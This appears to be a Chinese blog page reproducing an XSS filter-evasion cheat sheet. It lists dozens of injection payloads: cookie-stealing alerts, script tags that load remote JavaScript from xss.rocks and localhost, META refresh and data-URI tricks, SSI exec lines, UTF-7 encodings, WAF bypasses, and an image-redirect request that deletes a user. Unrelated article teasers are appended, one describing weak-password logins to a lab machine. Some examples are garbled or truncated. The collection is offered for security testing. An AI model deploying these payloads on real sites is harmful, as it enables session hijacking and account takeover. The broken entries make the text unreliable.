技术标签: web安全 前端 xss 学习方法 html https 网络安全
尽管许多网站实施了输入过滤措施来防止跨站脚本(XSS)攻击,但在特定条件下,经过精心编码的脚本仍有可能实施XSS注入。本文旨在为专业的安全测试人员提供一个跨站脚本漏洞的检测指南。
以下是一些具体的XSS绕过过滤的方法:
在大多数存在漏洞的地方,插入以下代码将弹出含有“XSS”字样的对话框。建议使用URL编码器对整个代码进行编码。
小贴士:如果想快速检查页面,可以插入“<任意文本>”,然后观察页面输出是否有明显变化,以判断是否存在漏洞。
以下为具体代码实现:
‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;
alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–
></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
若页面空间有限且无JavaScript漏洞,以下简短的字符串可用于快速检测XSS注入。注入后查看页面源代码,检查是否出现**<XSS** 或 <XSS 字样。
”;!–”<XSS>=&{()}
这是一个标准的XSS注入代码,通常会被防御,但建议先测试一下。
<SCRIPT SRC=http://127.0.0.1/xss.js></SCRIPT>
利用多种语言特性,可以绕过过滤机制。以下为示例代码:
‘”>><marquee><img src=x onerror=confirm(1)></marquee>”></plaintext\></|\><plaintext/onmouseover=prompt(1)>
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’–>”></script>
<script>alert(document.cookie)</script>”>
<img/id=”confirm(1)”/alt=”/”src=”/”onerror=eval(id)>’”>
<img src=”https://www.fujieace.com/wp-content/images/2015/07/hacked-compressor.jpg“>
图片注入使用JavaScript命令实现,适用于大多数浏览器环境。示例代码如下:
<IMG SRC=”javascript:alert(‘XSS’);”>
不使用分号和引号的XSS攻击示例:
<IMG SRC=javascript:alert(‘XSS’)>
XSS攻击向量,不区分JavaScript函数的大小写:
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
使用HTML实体进行XSS攻击,需要分号以生效:
<IMG SRC=javascript:alert("XSS")>
当需要在JavaScript代码中同时使用单引号和双引号时,可使用重音符(`)包含代码:
<IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`>
通过跳过HREF标签找到XSS漏洞的方法:
```
<a onmouseover=”alert(document.cookie)”>xxs link</a>
```
通过不严格的HTML解析来构建含有IMG标签的XSS攻击向量:
```
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
```
如果不允许使用引号,可以使用JavaScript的fromCharCode函数创建XSS攻击向量:
```
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
```
这种方法可以绕过大多数SRC域名过滤器,适用于任何HTML标签:
```
<IMG SRC=# onmouseover=”alert(‘xxs’)”>
```
```
<IMG SRC= onmouseover=”alert(‘xxs’)”>
```
```
<IMG onmouseover=”alert(‘xxs’)”>
```
```
<IMG SRC=/ onerror=”alert(String.fromCharCode(88,83,83))”></img>
```
```
<img src=x onerror=”javascript:alert('XSS')″>
```
这种编码方式在某些浏览器中不支持直接使用javascript:形式的XSS示例:
```
<IMG SRC=javascript:alert('XSS')>
```
这种编码方式适用于绕过特定形式的XSS过滤:
```
<IMG SRC=javascript:alert('XSS')>
```
```
<IMG SRC=javascript:alert&#x
```
此方法绕过某些假设字符实体编码需要用分号结尾的过滤器:
<IMG SRC=javascript:alert('XSS')>
使用TAB字符分隔XSS攻击代码,适用于某些解析环境:
<IMG SRC=”jav ascript:alert(‘XSS’);”>
使用编码后的TAB字符分隔XSS攻击代码:
<IMG SRC=”jav	ascript:alert(‘XSS’);”>
利用换行字符分隔代码,仅特定字符有效:
<IMG SRC=”jav
ascript:alert(‘XSS’);”>
使用回车字符分隔,注意字符长度:
<IMG SRC=”jav
ascript:alert(‘XSS’);”>
空字符也可以用作XSS攻击,需要特殊工具或编码:
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
如果过滤器不计算“javascript:”前的空格,这种方法将有效:
<IMG SRC=”  javascript:alert(‘XSS’);”>
某些浏览器的HTML解析器认为非字母非数字字符作为空白或无效符号,而XSS过滤器可能未考虑此情况:
<SCRIPT/XSS SRC=”http://xss.rocks/xss.js“></SCRIPT>
通过在XSS攻击向量中添加额外的尖括号来绕过某些检测引擎:
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
在某些浏览器中,未闭合的标签会被自动闭合,这为XSS提供了机会:
<SCRIPT SRC=http://127.0.0.1/xss.js?< B >
特定的协议解析方式可以绕过过滤器,特别适用于空间有限的情况:
<SCRIPT SRC=//xss.rocks/.j>
在某些浏览器中,不需要闭合标签的右尖括号就可以执行XSS攻击:
<IMG SRC=”javascript:alert(‘XSS’)”
使用多个左尖括号作为标签结尾在不同浏览器中有不同的效果:
<iframe src=http://127.0.0.1/scriptlet.html <
当应用将用户输入输出到页面上时,双重转义可能会触发XSS攻击:
\”;alert(‘XSS’);//
</script><script>alert(‘XSS‘)
```
## 33. JavaScript双重转义
当应用错误地转义用户输入时,可以通过双重转义进行XSS攻击:
## 34. 闭合title标签
通过闭合title标签进行XSS攻击:
```
利用输入类型为image的INPUT标签执行XSS:
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
在BODY标签的BACKGROUND属性中插入XSS代码:
<BODY BACKGROUND="javascript:alert('XSS')">
通过IMG标签的DYNSRC属性实施XSS攻击:
<IMG DYNSRC="javascript:alert('XSS')">
利用IMG标签的LOWSRC属性进行XSS注入:
<IMG LOWSRC="javascript:alert('XSS')">
通过样式属性中的list-style-image进行XSS攻击,仅在特定浏览器环境下有效:
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
利用VBScript在IMG标签中执行XSS:
<IMG SRC='vbscript:msgbox("XSS")'>
在老版本的Netscape浏览器中,通过Livescript执行XSS:
<IMG SRC="livescript:[code]">
使用SVG标签触发XSS攻击:
<svg/onload=alert('XSS')>
利用ECMAScript 6特性构造XSS攻击:
Set.constructor`alert\x28document.domain\x29```
通过BODY标签的事件处理器实现XSS攻击,无需"javascript:"前缀:
<BODY ONLOAD=alert('XSS')>
XSS攻击可以利用多种HTML事件,以下是部分事件列表:
利用BGSOUND标签在某些浏览器中实现XSS:
<BGSOUND SRC="javascript:alert('XSS');">
使用&字符和JavaScript结合构造XSS攻击:
<BR SIZE="&{alert('XSS')}">
利用LINK标签的HREF属性指向JavaScript进行XSS注入:
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
利用远程样式表插入XSS代码,特定环境下有效:
<LINK REL="stylesheet" HREF="http://127.0.0.1/xss.css">
使用STYLE标签和@import规则加载包含XSS代码的远程样式表:
<STYLE>@import'http://127.0.0.1/xss.css';</STYLE>
在特定浏览器中,使用META标签设置Link头部实施XSS:
<META HTTP-EQUIV="Link" Content="<http://127.0.0.1/xss.css>; REL=stylesheet">
在Gecko渲染引擎下利用STYLE标签和-moz-binding属性进行XSS攻击:
<STYLE>BODY{-moz-binding:url("https://127.0.0.1/xssmoz.xml#xss")}</STYLE>
利用特殊的字符序列在STYLE标签内部分隔JavaScript代码,适用于IE环境:
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
利用注释分隔的方式在IMG标签的STYLE属性中插入XSS代码:
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
将XSS代码嵌入到IMG标签的STYLE属性中,适用于IE环境:
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
在旧版本Netscape浏览器中,使用STYLE标签执行JavaScript代码:
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
利用STYLE标签设置背景图像为JavaScript代码:
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
通过BODY标签的STYLE属性设置背景图像执行JavaScript代码:
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
在任意HTML标签的STYLE属性中嵌入JavaScript代码,适用于IE环境:
<XSS STYLE="behavior: url(xss.htc);">
通过本地htc文件执行XSS代码,需要与XSS攻击向量在相同服务器上:
<XSS STYLE="behavior: url(xss.htc);">
使用US-ASCII编码执行XSS攻击,适用于使用该编码的服务器环境:
¼script¾alert(¢XSS¢)¼/script¾
使用META标签进行页面刷新并执行JavaScript代码:
<META HTTP
使用META标签的刷新功能执行JavaScript代码:
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
通过META标签和data URL scheme实现XSS攻击,不包含可见的SCRIPT单词或JavaScript指令:
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
通过在META标签中包含额外的URL参数绕过URL检查:
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
在允许IFRAME的情况下,通过IFRAME标签实现XSS:
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
利用事件触发器在IFRAME标签中执行XSS代码:
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
与IFRAME类似,FRAME标签也可用于XSS攻击:
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
通过TABLE标签的BACKGROUND属性插入XSS代码:
<TABLE BACKGROUND="javascript:alert('XSS')">
利用TD标签的BACKGROUND属性进行XSS攻击:
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
在DIV标签的STYLE属性中设置背景图像为JavaScript代码:
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
使用Unicode字符对URL参数进行混淆,以实现XSS攻击:
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
在DIV标签中利用额外字符实现XSS攻击:
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
利用DIV标签的STYLE属性中的表达式实现XSS攻击:
<DIV STYLE="width: expression(alert('XSS'));">
利用HTML条件注释在特定浏览器中执行XSS代码:
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
使用BASE标签改变页面的基本URL,以实施XSS攻击:
<BASE HREF="javascript:alert('XSS');//">
利用OBJECT标签加载含有XSS代码的外部资源:
<OBJECT TYPE="text/x-scriptlet" DATA="http://127.0.0.1/scriptlet.html"></OBJECT>
通过EMBED标签加载含有XSS代码的FLASH文件,适用于特定浏览器环境:
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
在特定浏览器下,使用EMBED标签加载SVG代码实现XSS攻击:
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
利用FLASH文件中的ActionScript代码进行混淆,以绕过过滤器:
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
在特定环境下,利用XML数据岛和CDATA混淆实现XSS攻击:
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
通过本地XML文件包含JavaScript代码实施XSS攻击:
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
利用HTML+TIME扩展在XML中嵌入JavaScript代码:
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
通过改名将JavaScript文件伪装成图像文件,以绕过过滤器:
<SCRIPT SRC="http://127.0.0.1/xss.jpg"></SCRIPT>
如果服务器端允许SSI,可以利用它执行XSS攻击:
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://127.0.0.1/xss.js></SCRIPT>'"-->
在服务器端安装了PHP的情况下,可以利用PHP脚本实施XSS攻击:
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
利用IMAGE标签在密码保护页面上执行命令,适用于管理员权限环境:
<IMG SRC="https://www.fujieace.com/somecommand.php?somevariables=maliciouscode">
通过重定向图片到特定命令,可以在普通的图片请求中隐藏XSS攻击:
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
利用META标签覆写cookie,适用于某些特定场景:
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
在页面未指定编码或浏览器设置为UTF-7编码时,可以利用UTF-7执行XSS攻击:
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
在某些浏览器中,可以通过特定的引号使用方式绕过XSS过滤器:
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>
使用不同的编码和格式化方式绕过URL过滤:
<A HREF="http://66.102.7.147/">XSS</A>
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
<A HREF="//www.google.com/">XSS</A>
通过不同的字符组合实现“<”的所有可能表示,用于绕过过滤器:
<
%3C
<
<
... 等等 ...
利用特定技巧绕过Web应用程序防火墙(WAF),包括存储型XSS、基于DOM的XSS、请求重定向等多种方法:
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
... 更多示例 ...
如果XSS代码已经绕过了输入过滤并存储在服务器上,WAF可能无法在输出时阻止它。
示例:在脚本中使用setTimeout函数,根据GET参数动态设置延时。
<script> ... setTimeout("writetitle()", $_GET[xss]) ... </script>
示例:在脚本中直接执行GET参数的内容。
<script> ... eval($_GET[xss]); ... </script>
示例:在服务器端脚本中,基于用户输入构造重定向。
header('Location: '.$_GET['param']);
有些WAF可能不会过滤某些特定的字符串或脚本结构,可以利用这一点构造XSS攻击。
<Img src=x onerror="javascript: window.onerror = alert; throw XSS">
<Video> <source onerror="javascript: alert(XSS)">
... 更多示例 ...
通过变换alert函数的调用方式,绕过对alert关键字的过滤。
(alert)(1)
a=alert,a(1)
[1].find(alert)
... 更多示例 ...
以上提到的XSS攻击技巧和方法,都是为了帮助安全专家更好地理解和预防XSS漏洞。强调这些技术仅用于教育和安全测试目的,任何非法使用都是不道德的,可能会导致严重的法律后果。安全研究员和渗透测试人员应在合法和道德的框架内操作,确保网络空间的安全和稳定。
收集了一些入门视频资料,可以免费分享。
文章浏览阅读645次。这个肯定是末尾的IDAT了,因为IDAT必须要满了才会开始一下个IDAT,这个明显就是末尾的IDAT了。,对应下面的create_head()代码。,对应下面的create_tail()代码。不要考虑爆破,我已经试了一下,太多情况了。题目来源:UNCTF。_攻防世界困难模式攻略图文
文章浏览阅读2.9k次,点赞3次,收藏10次。偶尔会用到,记录、分享。1. 数据库导出1.1 切换到dmdba用户su - dmdba1.2 进入达梦数据库安装路径的bin目录,执行导库操作 导出语句:./dexp cwy_init/[email protected]:5236 file=cwy_init.dmp log=cwy_init_exp.log 注释: cwy_init/init_123..._达梦数据库导入导出
文章浏览阅读1.9k次。1. 在官网上下载KindEditor文件,可以删掉不需要要到的jsp,asp,asp.net和php文件夹。接着把文件夹放到项目文件目录下。2. 修改html文件,在页面引入js文件:<script type="text/javascript" src="./kindeditor/kindeditor-all.js"></script><script type="text/javascript" src="./kindeditor/lang/zh-CN.js"_kindeditor.js
文章浏览阅读2.3k次,点赞6次,收藏14次。SPI的详情简介不必赘述。假设我们通过SPI发送0xAA,我们的数据线就会变为10101010,通过修改不同的内容,即可修改SPI中0和1的持续时间。比如0xF0即为前半周期为高电平,后半周期为低电平的状态。在SPI的通信模式中,CPHA配置会影响该实验,下图展示了不同采样位置的SPI时序图[1]。CPOL = 0,CPHA = 1:CLK空闲状态 = 低电平,数据在下降沿采样,并在上升沿移出CPOL = 0,CPHA = 0:CLK空闲状态 = 低电平,数据在上升沿采样,并在下降沿移出。_stm32g431cbu6
文章浏览阅读1.2k次,点赞2次,收藏8次。数据链路层习题自测问题1.数据链路(即逻辑链路)与链路(即物理链路)有何区别?“电路接通了”与”数据链路接通了”的区别何在?2.数据链路层中的链路控制包括哪些功能?试讨论数据链路层做成可靠的链路层有哪些优点和缺点。3.网络适配器的作用是什么?网络适配器工作在哪一层?4.数据链路层的三个基本问题(帧定界、透明传输和差错检测)为什么都必须加以解决?5.如果在数据链路层不进行帧定界,会发生什么问题?6.PPP协议的主要特点是什么?为什么PPP不使用帧的编号?PPP适用于什么情况?为什么PPP协议不_接收方收到链路层数据后,使用crc检验后,余数为0,说明链路层的传输时可靠传输
文章浏览阅读587次。软件测试工程师移民加拿大 无证移民,未受过软件工程师的教育(第1部分) (Undocumented Immigrant With No Education to Software Engineer(Part 1))Before I start, I want you to please bear with me on the way I write, I have very little gen...
文章浏览阅读304次。Thinkpad X250笔记本电脑,装的是FreeBSD,进入BIOS修改虚拟化配置(其后可能是误设置了安全开机),保存退出后系统无法启动,显示:secure boot failed ,把自己惊出一身冷汗,因为这台笔记本刚好还没开始做备份.....根据错误提示,到bios里面去找相关配置,在Security里面找到了Secure Boot选项,发现果然被设置为Enabled,将其修改为Disabled ,再开机,终于正常启动了。_安装完系统提示secureboot failure
文章浏览阅读10w+次,点赞93次,收藏352次。1、用strtok函数进行字符串分割原型: char *strtok(char *str, const char *delim);功能:分解字符串为一组字符串。参数说明:str为要分解的字符串,delim为分隔符字符串。返回值:从str开头开始的一个个被分割的串。当没有被分割的串时则返回NULL。其它:strtok函数线程不安全,可以使用strtok_r替代。示例://借助strtok实现split#include <string.h>#include <stdio.h&_c++ 字符串分割
文章浏览阅读2.3k次。1 .高斯日记 大数学家高斯有个好习惯:无论如何都要记日记。他的日记有个与众不同的地方,他从不注明年月日,而是用一个整数代替,比如:4210后来人们知道,那个整数就是日期,它表示那一天是高斯出生后的第几天。这或许也是个好习惯,它时时刻刻提醒着主人:日子又过去一天,还有多少时光可以用于浪费呢?高斯出生于:1777年4月30日。在高斯发现的一个重要定理的日记_2013年第四届c a组蓝桥杯省赛真题解答
文章浏览阅读851次,点赞17次,收藏22次。摘要:本文利用供需算法对核极限学习机(KELM)进行优化,并用于分类。
文章浏览阅读1.1k次。一、系统弱密码登录1、在kali上执行命令行telnet 192.168.26.1292、Login和password都输入msfadmin3、登录成功,进入系统4、测试如下:二、MySQL弱密码登录:1、在kali上执行mysql –h 192.168.26.129 –u root2、登录成功,进入MySQL系统3、测试效果:三、PostgreSQL弱密码登录1、在Kali上执行psql -h 192.168.26.129 –U post..._metasploitable2怎么进入
文章浏览阅读257次。本文将为初学者提供Python学习的详细指南,从Python的历史、基础语法和数据类型到面向对象编程、模块和库的使用。通过本文,您将能够掌握Python编程的核心概念,为今后的编程学习和实践打下坚实基础。_python人工智能开发从入门到精通pdf